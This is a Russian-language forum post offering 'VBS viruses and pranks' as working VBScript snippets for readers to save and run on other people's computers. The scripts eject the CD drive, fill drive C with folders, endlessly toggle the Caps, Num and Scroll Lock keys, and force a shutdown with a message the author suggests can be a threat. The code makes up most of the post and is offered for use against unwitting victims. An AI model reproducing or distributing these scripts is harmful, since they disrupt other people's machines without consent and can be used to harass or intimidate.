В этой теме я буду выкладывать vbs вирусы и приколы. Они очень легки в использование. Например человек запускает файл и у него открывается дисковод)) или шлётся спам в скайпе))
И так начнём. Я буду писать коды, а вы пишите их в текстовые документы и сохраняйте с форматом .vbs
Вынимание дисковода через vbs:
Code
CreateObject("WMPlayer.OCX.7").cdromCollection.item(0).Eject
Засоряем диск C папками (минус, если есть такая папка, то не фурычит):
Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject
FSO.CreateFolder "C:\1" 'Создаём C:\1
FSO.CreateFolder "C:\2" 'Создаём C:\2
FSO.CreateFolder "C:\3" 'Создаём C:\3
FSO.CreateFolder "C:\4" 'Создаём C:\4
FSO.CreateFolder "C:\5" 'Создаём C:\5
FSO.CreateFolder "C:\6" 'Создаём C:\6
FSO.CreateFolder "C:\7" 'Создаём C:\7
FSO.CreateFolder "C:\8" 'Создаём C:\8
FSO.CreateFolder "C:\9" 'Создаём C:\9
FSO.CreateFolder "C:\10" 'Создаём C:\10
FSO.CreateFolder "C:\11" 'Создаём C:\11
FSO.CreateFolder "C:\12" 'Создаём C:\12
FSO.CreateFolder "C:\13" 'Создаём C:\13
FSO.CreateFolder "C:\14" 'Создаём C:\14
FSO.CreateFolder "C:\15" 'Создаём C:\15
FSO.CreateFolder "C:\16" 'Создаём C:\16
FSO.CreateFolder "C:\17" 'Создаём C:\17
Как на VBS бесконечно мигать капсоком:
Code
Set S = CreateObject("Wscript.Shell")
do
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 200
s.sendkeys"{numlock}"
wscript.sleep 200
s.sendkeys"{scrolllock}"
loop
Выключение компа:
Code
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
msgbox "Ваш текст, от насмешки до угрозы :)"
